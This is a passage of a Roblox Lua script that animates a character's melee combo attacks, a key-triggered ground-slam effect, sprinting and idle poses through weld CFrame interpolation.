				rarm.Weld.C1 = Lerp(rarm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(80), math.rad(0)), 0.5)
				larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-1.5, 0.5, 0) * CFrame.Angles(math.rad(-24), math.rad(0), math.rad(-20)), 0.3)
				larm.Weld.C1 = Lerp(larm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(20), math.rad(0)), 0.3)
				hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 1.5, 0) * CFrame.Angles(math.rad(0), math.rad(-30), 0), 0.7)
				hed.Weld.C1 = Lerp(hed.Weld.C1, CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.7)
				torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(0), math.rad(0), 0), 0.7)
				torso.Weld.C1 = Lerp(torso.Weld.C1, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(0), math.rad(-30), math.rad(0)), 0.7)
				lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-0.5, -1, 0.2) * CFrame.Angles(math.rad(-11), math.rad(0), math.rad(-14)), 0.5)
				lleg.Weld.C1 = Lerp(lleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.5)
				rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(0.7, -1, -0.3) * CFrame.Angles(math.rad(20), math.rad(-30), math.rad(16)), 0.5)
				rleg.Weld.C1 = Lerp(rleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.5)
				if Debounces.on == false then
					break
				end
				fat.Event:wait()
			end
		end
	
		attacktwo = function()
	
			Debounces.Slashing = true
			z = Instance.new("Sound", hed)
			z.SoundId = "rbxassetid://227194094"
			z.Pitch = ptz[math.random(1, #ptz)]
			z.Volume = 0.4
			wait(0.01)
			z:Play()
			for i = 1, 14 do
				Dmg()
				corw.C0 = Lerp(corw.C0, CFrame.new(0, -1.5, 0) * CFrame.Angles(math.rad(0), math.rad(90), math.rad(0)), 0.4)
				corw.C1 = Lerp(corw.C1, CFrame.new(-2.4, 0, 0) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(28)), 0.4)
				rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(1.5, 0.5, 0.4) * CFrame.Angles(math.rad(70), math.rad(0), math.rad(100)), 0.4)
				rarm.Weld.C1 = Lerp(rarm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(-90), math.rad(0)), 0.4)
				larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-1.5, 0.5, 0) * CFrame.Angles(math.rad(36), math.rad(0), math.rad(-20)), 0.3)
				larm.Weld.C1 = Lerp(larm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(20), math.rad(0)), 0.3)
				hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 1.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), 0), 0.36)
				hed.Weld.C1 = Lerp(hed.Weld.C1, CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(10), math.rad(-40), math.rad(0)), 0.36)
				torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1, -1) * CFrame.Angles(math.rad(0), math.rad(-40), 0), 0.4)
				torso.Weld.C1 = Lerp(torso.Weld.C1, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.4)
				lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-0.72, -1, -0.3) * CFrame.Angles(math.rad(14), math.rad(50), math.rad(-15)), 0.5)
				lleg.Weld.C1 = Lerp(lleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.5)
				rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(0.5, -1, 0.2) * CFrame.Angles(math.rad(-12), math.rad(-30), math.rad(16)), 0.5)
				rleg.Weld.C1 = Lerp(rleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.5)
				if Debounces.on == false then
					break
				end
				fat.Event:wait()
			end
			do
				Debounces.Slashing = false
			end
		end
	
		attackthree = function()
	
			for i = 1, 10 do
				corw.C0 = Lerp(corw.C0, CFrame.new(0, -1.5, 0) * CFrame.Angles(math.rad(0), math.rad(90), math.rad(0)), 0.4)
				corw.C1 = Lerp(corw.C1, CFrame.new(-2.4, 0, 0) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(-24)), 0.4)
				rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(1.5, 0.5, 0.4) * CFrame.Angles(math.rad(70), math.rad(0), math.rad(100)), 0.4)
				rarm.Weld.C1 = Lerp(rarm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(90), math.rad(0)), 0.4)
				larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-1.5, 0.5, 0) * CFrame.Angles(math.rad(48), math.rad(0), math.rad(-20)), 0.4)
				larm.Weld.C1 = Lerp(larm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(20), math.rad(0)), 0.4)
				hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 1.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), 0), 0.5)
				hed.Weld.C1 = Lerp(hed.Weld.C1, CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(-10), math.rad(-50), math.rad(0)), 0.5)
				torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1, -1.3) * CFrame.Angles(math.rad(0), math.rad(-50), 0), 0.5)
				torso.Weld.C1 = Lerp(torso.Weld.C1, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.5)
				lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-0.72, -1, -0.4) * CFrame.Angles(math.rad(-10), math.rad(50), math.rad(-10)), 0.5)
				lleg.Weld.C1 = Lerp(lleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.5)
				rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(0.6, -1, 0) * CFrame.Angles(math.rad(-12), math.rad(-30), math.rad(16)), 0.5)
				rleg.Weld.C1 = Lerp(rleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.5)
				if Debounces.on == false then
					break
				end
				fat.Event:wait()
			end
		end
	
		mouse.KeyDown:connect(function(key)
			if key == "e" then
				if Debounces.CanAttack == true then
					Debounces.CanAttack = false
					Debounces.on = true
					Debounces.NoIdl = true
					for i = 1, 50 do
						rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(1.5,0.55,0)*CFrame.Angles(math.rad(160),math.rad(-6),math.rad(30)), 0.4)
						larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-1.5,0.55,0)*CFrame.Angles(math.rad(10),math.rad(30),math.rad(-15)), 0.2)
						hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0,1.5,-.2)*CFrame.Angles(math.rad(0),math.rad(30),0), 0.2)
						torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(-10), math.rad(0)), 0.3)
						lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(20), 0, math.rad(-14)), 0.2)
						rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(0.5, -1, 0) * CFrame.Angles(math.rad(-16), 0, math.rad(8)), 0.2)
						if Debounces.on == false then break end
						rs:wait(2.6)
					end
					Spawn(function()
						local Parts = {}
						for Y = -5,5 do
							local P = Instance.new("Part",char)
							P.Anchored = true
							P.FormFactor = "Custom"
							P.CanCollide = false
							P.Size = Vector3.new(2,4,2)
							P.TopSurface = "SmoothNoOutlines"
							P.BottomSurface = "SmoothNoOutlines"
							P.Material = "Neon"
							P.BrickColor = BrickColor.new("Really black")
							P.Name = tostring(Y)
							local i = (Y+5)/(100)
							i = 1-math.cos(math.pi*i-(math.pi/2))
							P.CFrame = char.HumanoidRootPart.CFrame*CFrame.new(0,Y,-2+(i*1.5))*CFrame.Angles(math.rad(Y*5),0,0)
		                --[[P.Touched:connect(function(ht)
		                    local hit = ht.Parent
		                    if hit:FindFirstChild("Humanoid") then
		                        hit.Humanoid:TakeDamage(math.random(20,50))
		                    end
		                end)]]--
							s = Instance.new("Sound",P)
							s.SoundId = "rbxassetid://228343271"
							s.Volume = 1
							s.Pitch = 0.9
							s:Play()
							sa = Instance.new("Sound",P)
							sa.SoundId = "rbxassetid://419447292"
							sa.Volume = 1
							sa.Pitch = 1
							sa:Play()
							P.Touched:connect(function(ht)
								hit = ht.Parent
								if ht and hit:IsA("Model") then
									if hit:FindFirstChild("Humanoid") then
										if hit.Name ~= p.Name then
		                        --[[if Debounces.Slashing == true and Debounces.Slashed == false then
		                                Debounces.Slashed = true]]--
											hit:FindFirstChild("Humanoid").Health = 100
											hit:FindFirstChild("Humanoid").PlatformStand = true
											wait(1)
											--Debounces.Slashed = false
											--end
										end
									end
								elseif ht and hit:IsA("Hat") then
									if hit.Parent.Name ~= p.Name then
										if hit.Parent:FindFirstChild("Humanoid") then
		                        --[[if Debounces.Slashing == true and Debounces.Slashed == false then
		                                Debounces.Slashed = true]]--
											hit.Parent:FindFirstChild("Humanoid").Health = 100
											hit:FindFirstChild("Humanoid").PlatformStand = true
											wait(1)
											--Debounces.Slashed = false
											--end
										end
									end
								end
							end)
							Parts[#Parts+1] = P
						end
						local BREAKIT = false
						local CParts = {}
						local Rocks = {}
						local LastPos = nil
						for i = 1,70 do
							for i2,v in pairs(Parts) do
								v.CFrame = v.CFrame*CFrame.new(0,0,-4)
								local cf = v.CFrame
								v.Size = v.Size+Vector3.new(0.4,0.35,0)
								v.CFrame = cf
								v.Transparency = v.Transparency+0.02
								if v.Transparency >= 0.975 then BREAKIT = true end
								if v.Name == "0" then
									local Ignore = {}
									for i,v in pairs(game:GetService("Players"):GetPlayers()) do
										if v.Character ~= nil then
											Ignore[#Ignore+1] = v.Character
										end
									end
									local ray = Ray.new(v.Position+Vector3.new(0,20,0),Vector3.new(0,-200,0))
									local Hit,Pos,SurfaceNorm = Workspace:FindPartOnRayWithIgnoreList(ray,Ignore)
									if Hit ~= nil then
										if #Rocks == 0 then
											for i = 1,5 do
												local P = Instance.new("Part",char)
												Rocks[#Rocks+1] = P
												P.Anchored = true
												P.FormFactor = "Custom"
												P.BrickColor = Hit.BrickColor
												P.Material = Hit.Material
												P.TopSurface = "Smooth"
												P.BottomSurface = "Smooth"
												P.Size = Vector3.new(2,2,2)*(math.random(500,900)/100)
											end
										end
										for i,P in pairs(Rocks) do
											P.CFrame = ((CFrame.new(Pos)*(v.CFrame-v.Position))*CFrame.new(math.random(-math.ceil(v.Size.X/2),math.ceil(v.Size.X/2)),0,-math.random(5,8))-Vector3.new(0,0.25,0))*CFrame.Angles(math.rad(math.random(-50,50)),math.rad(math.random(-50,50)),math.rad(math.random(20,50)))
										end
										local P = Instance.new("Part",char)
										CParts[#CParts+1] = {P,tick()}
										P.Anchored = true
										P.FormFactor = "Custom"
										P.BrickColor = Hit.BrickColor
										P.Material = Hit.Material
										P.TopSurface = "Smooth"
										P.BottomSurface = "Smooth"
										P.Size = Vector3.new(2,2,2)*(math.random(100,300)/100)
										Pos = CFrame.new(Pos)*(v.CFrame-v.Position)*CFrame.new(v.Size.X/2,0,0)
										Pos = Pos.p
										P.CFrame = ((CFrame.new(Pos,Pos+SurfaceNorm)*CFrame.Angles(math.rad(90),0,0))-Vector3.new(0,0.25,0))*CFrame.Angles(math.rad(math.random(-50,50)),math.rad(math.random(-50,50)),math.rad(math.random(20,50)))
										local P = P:Clone()
										CParts[#CParts+1] = {P,tick()}
										P.Parent = char
										Pos = CFrame.new(Pos)*(v.CFrame-v.Position)*CFrame.new(-v.Size.X,0,0)
										Pos = Pos.p
										P.CFrame = ((CFrame.new(Pos,Pos+SurfaceNorm)*CFrame.Angles(math.rad(90),0,0))-Vector3.new(0,0.25,0))*CFrame.Angles(math.rad(math.random(-50,50)),math.rad(math.random(-50,50)),math.rad(math.random(-50,-20)))
										if LastPos ~= nil then
											local P = P:Clone()
											CParts[#CParts+1] = {P,tick()}
											P.Parent = char
											P.BrickColor = BrickColor.new("Royal purple")
											P.Material = "Neon"
											Pos = CFrame.new(Pos)*(v.CFrame-v.Position)*CFrame.new(v.Size.X/2,0,0)
											Pos = Pos.p
											local CFr = (CFrame.new(Pos)*(v.CFrame-v.Position))-Vector3.new(0,0.4,0)
											P.Size = Vector3.new(v.Size.X-0.25,1,(CFr.p-LastPos.p).Magnitude+0.25)
											--P.Velocity = Vector3.new(0,-1000,0)
											P.CFrame = CFrame.new(CFr.p,LastPos.p)*CFrame.new(0,0,-((CFr.p-LastPos.p).Magnitude+0.25)/2)
										end
										LastPos = (CFrame.new(Pos)*(v.CFrame-v.Position))-Vector3.new(0,0.4,0)
									end
								end
							end
							if BREAKIT then break end
							wait(0.002)
						end
						for i,v in pairs(Rocks) do
							CParts[#CParts+1] = {v,tick()}
						end
						for i,v in pairs(Parts) do
							v:Destroy()
						end
						Parts = nil
						while true do
							local t = tick()
							local p = nil
							for i,v in pairs(CParts) do
								if t-v[2] > 4 then
									v[1].Transparency = v[1].Transparency+0.05
									if v[1].Transparency >= 1 then
										v[1]:Destroy()
										CParts[i] = nil
									end
								end
								p = v
							end
							if p == nil then break end
							wait(0.002)
						end
						for i,v in pairs(CParts) do
							v:Destroy()
						end
						CParts = {}
					end)
					for i = 1, 20 do
						rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(1.5,0.55,0)*CFrame.Angles(math.rad(-40),math.rad(0),math.rad(30)), 0.2)
						larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-1.5,0.55,0)*CFrame.Angles(math.rad(10),math.rad(0),math.rad(20)), 0.2)
						hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0,1.5,-.2)*CFrame.Angles(math.rad(0),math.rad(0),0), 0.2)
						torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(0), math.rad(-10), math.rad(0)), 0.4)
						lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-0.5, -1, 0) * CFrame.Angles(math.rad(10), 0, math.rad(-8)), 0.2)
						rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(0.5, -1, 0) * CFrame.Angles(math.rad(-6), 0, math.rad(8)), 0.2)
						if Debounces.on == false then break end
						rs:wait(2)
					end
					if Debounces.CanAttack == false then
						Debounces.CanAttack = true
						Debounces.on = false
						Debounces.NoIdl = false
					end
				end
			end
		end)
	
		attackfour = function()
	
			Debounces.Slashing = true
			z = Instance.new("Sound", hed)
			z.SoundId = "rbxassetid://227194094"
			z.Pitch = ptz[math.random(1, #ptz)]
			z.Volume = 0.4
			wait(0.01)
			z:Play()
			for i = 1, 14 do
				Dmg()
				corw.C0 = Lerp(corw.C0, CFrame.new(0, -1.5, 0) * CFrame.Angles(math.rad(0), math.rad(90), math.rad(0)), 0.4)
				corw.C1 = Lerp(corw.C1, CFrame.new(-2.4, 0, 0) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(28)), 0.4)
				rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(1.2, 0.5, -0.4) * CFrame.Angles(math.rad(70), math.rad(0), math.rad(-60)), 0.4)
				rarm.Weld.C1 = Lerp(rarm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(60), math.rad(0)), 0.4)
				larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-1.5, 0.5, 0) * CFrame.Angles(math.rad(-20), math.rad(10), math.rad(-10)), 0.3)
				larm.Weld.C1 = Lerp(larm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(20), math.rad(0)), 0.3)
				hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 1.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), 0), 0.36)
				hed.Weld.C1 = Lerp(hed.Weld.C1, CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(10), math.rad(50), math.rad(0)), 0.36)
				torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1, -1.6) * CFrame.Angles(math.rad(0), math.rad(50), 0), 0.36)
				torso.Weld.C1 = Lerp(torso.Weld.C1, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.36)
				lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-0.6, -1, 0.2) * CFrame.Angles(math.rad(-10), math.rad(-20), math.rad(-16)), 0.5)
				lleg.Weld.C1 = Lerp(lleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.5)
				rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(0.72, -1, -0.4) * CFrame.Angles(math.rad(14), math.rad(-50), math.rad(14)), 0.5)
				rleg.Weld.C1 = Lerp(rleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.5)
				if Debounces.on == false then
					break
				end
				fat.Event:wait()
			end
			do
				Debounces.Slashing = false
			end
		end
	
		attackfive = function()
	
			z = Instance.new("Sound", hed)
			z.SoundId = "rbxassetid://"
			z.Pitch = 1
			z.Volume = 0.8
			wait(0.01)
			z:Play()
			for i = 1, 18 do
				corw.C0 = Lerp(corw.C0, CFrame.new(0, -1.5, 0) * CFrame.Angles(math.rad(0), math.rad(90), math.rad(0)), 0.5)
				corw.C1 = Lerp(corw.C1, CFrame.new(-2.4, 0, 0) * CFrame.Angles(math.rad(-50), math.rad(0), math.rad(0)), 0.5)
				rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(1.2, 0.7, 0) * CFrame.Angles(math.rad(140), math.rad(0), math.rad(-40)), 0.4)
				rarm.Weld.C1 = Lerp(rarm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.5)
				larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-1.2, 0.7, 0) * CFrame.Angles(math.rad(140), math.rad(0), math.rad(40)), 0.4)
				larm.Weld.C1 = Lerp(larm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.5)
				hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 1.4, 0.15) * CFrame.Angles(math.rad(0), math.rad(0), 0), 0.5)
				hed.Weld.C1 = Lerp(hed.Weld.C1, CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(-20), math.rad(0), math.rad(0)), 0.25)
				torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, 2, -1.6) * CFrame.Angles(math.rad(0), math.rad(0), 0), 0.5)
				torso.Weld.C1 = Lerp(torso.Weld.C1, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(-10), math.rad(0), math.rad(0)), 0.5)
				lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-0.5, -1, 0) * CFrame.Angles(math.rad(-15), math.rad(20), math.rad(-15)), 0.5)
				lleg.Weld.C1 = Lerp(lleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.5)
				rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(0.5, -1, 0) * CFrame.Angles(math.rad(-15), math.rad(-20), math.rad(15)), 0.5)
				rleg.Weld.C1 = Lerp(rleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.5)
				if Debounces.on == false then
					break
				end
				fat.Event:wait()
			end
			do
				z = Instance.new("Sound", hed)
				z.SoundId = "rbxassetid://227194094"
				z.Pitch = 0.6
				z.Volume = 1
				wait(0.01)
				z:Play()
				Debounces.Slashing = true
				for i = 1, 18 do
					Dmg()
					corw.C0 = Lerp(corw.C0, CFrame.new(0, -1.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-40)), 0.5)
					corw.C1 = Lerp(corw.C1, CFrame.new(-2.4, 0, 0) * CFrame.Angles(math.rad(-20), math.rad(-50), math.rad(0)), 0.5)
					rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(1.2, 0.4, -0.4) * CFrame.Angles(math.rad(30), math.rad(0), math.rad(-40)), 0.5)
					rarm.Weld.C1 = Lerp(rarm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.5)
					larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-1.2, 0.4, -0.4) * CFrame.Angles(math.rad(30), math.rad(0), math.rad(40)), 0.5)
					larm.Weld.C1 = Lerp(larm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.5)
					hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 1.4, -0.15) * CFrame.Angles(math.rad(0), math.rad(0), 0), 0.5)
					hed.Weld.C1 = Lerp(hed.Weld.C1, CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(20), math.rad(0), math.rad(0)), 0.5)
					torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -2, -2) * CFrame.Angles(math.rad(0), math.rad(0), 0), 0.3)
					torso.Weld.C1 = Lerp(torso.Weld.C1, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.5)
					lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-0.6, -0.2, -0.48) * CFrame.Angles(math.rad(10), math.rad(0), math.rad(-10)), 0.3)
					lleg.Weld.C1 = Lerp(lleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
					rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(0.6, -0.9, 0.2) * CFrame.Angles(math.rad(-70), math.rad(0), math.rad(10)), 0.3)
					rleg.Weld.C1 = Lerp(rleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
					if Debounces.on == false then
						break
					end
					fat.Event:wait()
				end
				do
					Debounces.Slashing = false
				end
			end
		end
	
		ComboNum = 0
		mouse.Button1Down:connect(function()
	
			if Debounces.CanAttack == true then
				Debounces.CanAttack = false
				Debounces.NoIdl = true
				Debounces.on = true
				if ComboNum == 0 then
					attackone()
				else
					if ComboNum == 1 then
						attacktwo()
					else
						if ComboNum == 2 then
							attackthree()
						else
							if ComboNum == 3 then
								attackfour()
							else
								if ComboNum == 4 then
									attackfive()
								end
							end
						end
					end
				end
				ComboNum = ComboNum + 1
				Debounces.CanAttack = true
				Debounces.on = false
				wait(0.2)
				if Debounces.CanAttack == true then
					ComboNum = 0
					Debounces.NoIdl = false
				end
			end
		end
		)
		mouse.KeyDown:connect(function(key)
	
			if string.byte(key) == 52 then
				Swing = 2
				char.Humanoid.WalkSpeed = 28
			end
		end
		)
		mouse.KeyUp:connect(function(key)
	
			if string.byte(key) == 52 then
				Swing = 1
				char.Humanoid.WalkSpeed = 16
			end
		end
		)
		jump = false
		rs:connect(function()
	
			if char.Humanoid.Jump == true then
				jump = true
			else
				jump = false
			end
			char.Humanoid.FreeFalling:connect(function(f)
	
				if f then
					ffing = true
				else
					ffing = false
				end
			end
			)
			sine = sine + change
			if jump == true then
				animpose = "Jumping"
			else
				if ffing == true then
					animpose = "Freefalling"
				else
					if (torso.Velocity * Vector3.new(1, 0, 1)).magnitude < 2 then
						animpose = "Idle"
					else
						if (torso.Velocity * Vector3.new(1, 0, 1)).magnitude < 20 then
							animpose = "Walking"
						else
							if (torso.Velocity * Vector3.new(1, 0, 1)).magnitude > 20 then
								animpose = "Running"
							end
						end
					end
				end
			end
			RightLeg = CFrame.new(0.5, -1, 0)
			LeftLeg = CFrame.new(-0.5, -1, 0)
			lefth = (torso.CFrame*LeftLeg)
			righth = (torso.CFrame*RightLeg)
	
			speed = Vector3.new(torso.Velocity.X,0,torso.Velocity.Z)
	
			TiltOnAxis = (torso.CFrame-torso.CFrame.p):vectorToObjectSpace(speed/100)
	
			local AngleThetaR = (righth-righth.p):vectorToObjectSpace(speed/100)
			local AngleThetaL = (lefth-lefth.p):vectorToObjectSpace(speed/100)
			if animpose ~= lastanimpose then
				sine = 0
				if Debounces.NoIdl == false then
					if stanceToggle == "Idle1" then
						rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(1.5, 0.6, 0.2) * CFrame.Angles(math.rad(-12 - 4 * math.cos(sine / 22)), math.rad(-12 - 2 * math.cos(sine / 22)), math.rad(12 + 2 * math.cos(sine / 22))), 0.3)
						larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-1.5, 0.6, -0.2) * CFrame.Angles(math.rad(20 + 4 * math.cos(sine / 22)), math.rad(-22 - 2 * math.cos(sine / 22)), math.rad(-15 - 2 * math.cos(sine / 22))), 0.3)
						hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 1.5, 0) * CFrame.Angles(math.rad(-12 + 2.5 * math.cos(sine / 22)), math.rad(0), math.rad(0)), 0.2)
						torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(-2 + 2 * math.cos(sine / 22)), math.rad(0), 0), 0.2)
						lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-0.5, -1, -0.06) * CFrame.Angles(math.rad(0 - 2 * math.cos(sine / 22)), math.rad(5), math.rad(-5)), 0.2)
						rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(0.5, -1, -0.06) * CFrame.Angles(math.rad(0 - 2 * math.cos(sine / 22)), math.rad(-5), math.rad(5)), 0.2)
					else
						if stanceToggle == "Idle2" then
							rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(1.5, 0.6, 0.2) * CFrame.Angles(math.rad(-22 - 4 * math.cos(sine / 12)), math.rad(-40 - 2 * math.cos(sine / 12)), math.rad(24 + 2 * math.cos(sine / 12))), 0.3)
							larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-1.2, 0.6, -0.6) * CFrame.Angles(math.rad(90 + 4 * math.cos(sine / 12)), math.rad(0), math.rad(50 - 2 * math.cos(sine / 12))), 0.3)
							hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 1.5, 0) * CFrame.Angles(math.rad(-6 + 2.5 * math.cos(sine / 12)), math.rad(0), math.rad(0)), 0.2)
							torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1.5, 0) * CFrame.Angles(math.rad(-20 + 2 * math.cos(sine / 12)), math.rad(0), 0), 0.2)
							lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-0.5, -0.4, -1) * CFrame.Angles(math.rad(-7 - 2 * math.cos(sine / 12)), math.rad(7), math.rad(-5)), 0.2)
							rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(0.5, -0.8, -0.2) * CFrame.Angles(math.rad(-30 - 2 * math.cos(sine / 12)), math.rad(-9), math.rad(5)), 0.2)
						end
					end
					fat.Event:wait()
				end
			end
			lastanimpose = animpose
			if Debounces.NoIdl == false then
				if animpose == "Idle" then
					change = 0.8
					corw.C0 = Lerp(corw.C0, CFrame.new(0, -1.5, 0) * CFrame.Angles(math.rad(0), math.rad(90), math.rad(0)), 0.4)
					corw.C1 = Lerp(corw.C1, CFrame.new(-2.4, 0, 0) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(-26)), 0.4)
					rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(1.5, 0.5 + 0.05 * math.sin(sine / 10), 0) * CFrame.Angles(math.rad(30 + 2 * math.sin(sine / 10)), math.rad(-40 - 10 * math.cos(sine / 10)), math.rad(20)), 0.1)
					rarm.Weld.C1 = Lerp(rarm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(-20), math.rad(0)), 0.1)
					larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-1.5, 0.5 + 0.05 * math.sin(sine / 10), 0.15) * CFrame.Angles(math.rad(20 - 2 * math.sin(sine / 10)), math.rad(0 + 10 * math.cos(sine / 10)), math.rad(-20)), 0.1)
					larm.Weld.C1 = Lerp(larm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(20), math.rad(0)), 0.1)
					hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 1.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.1)
					hed.Weld.C1 = Lerp(hed.Weld.C1, CFrame.new(0, 0, 0.15 - 0.05 * math.sin(sine / 10)) * CFrame.Angles(math.rad(15 - 3 * math.sin(sine / 10)), math.rad(0), math.rad(0)), 0.1)
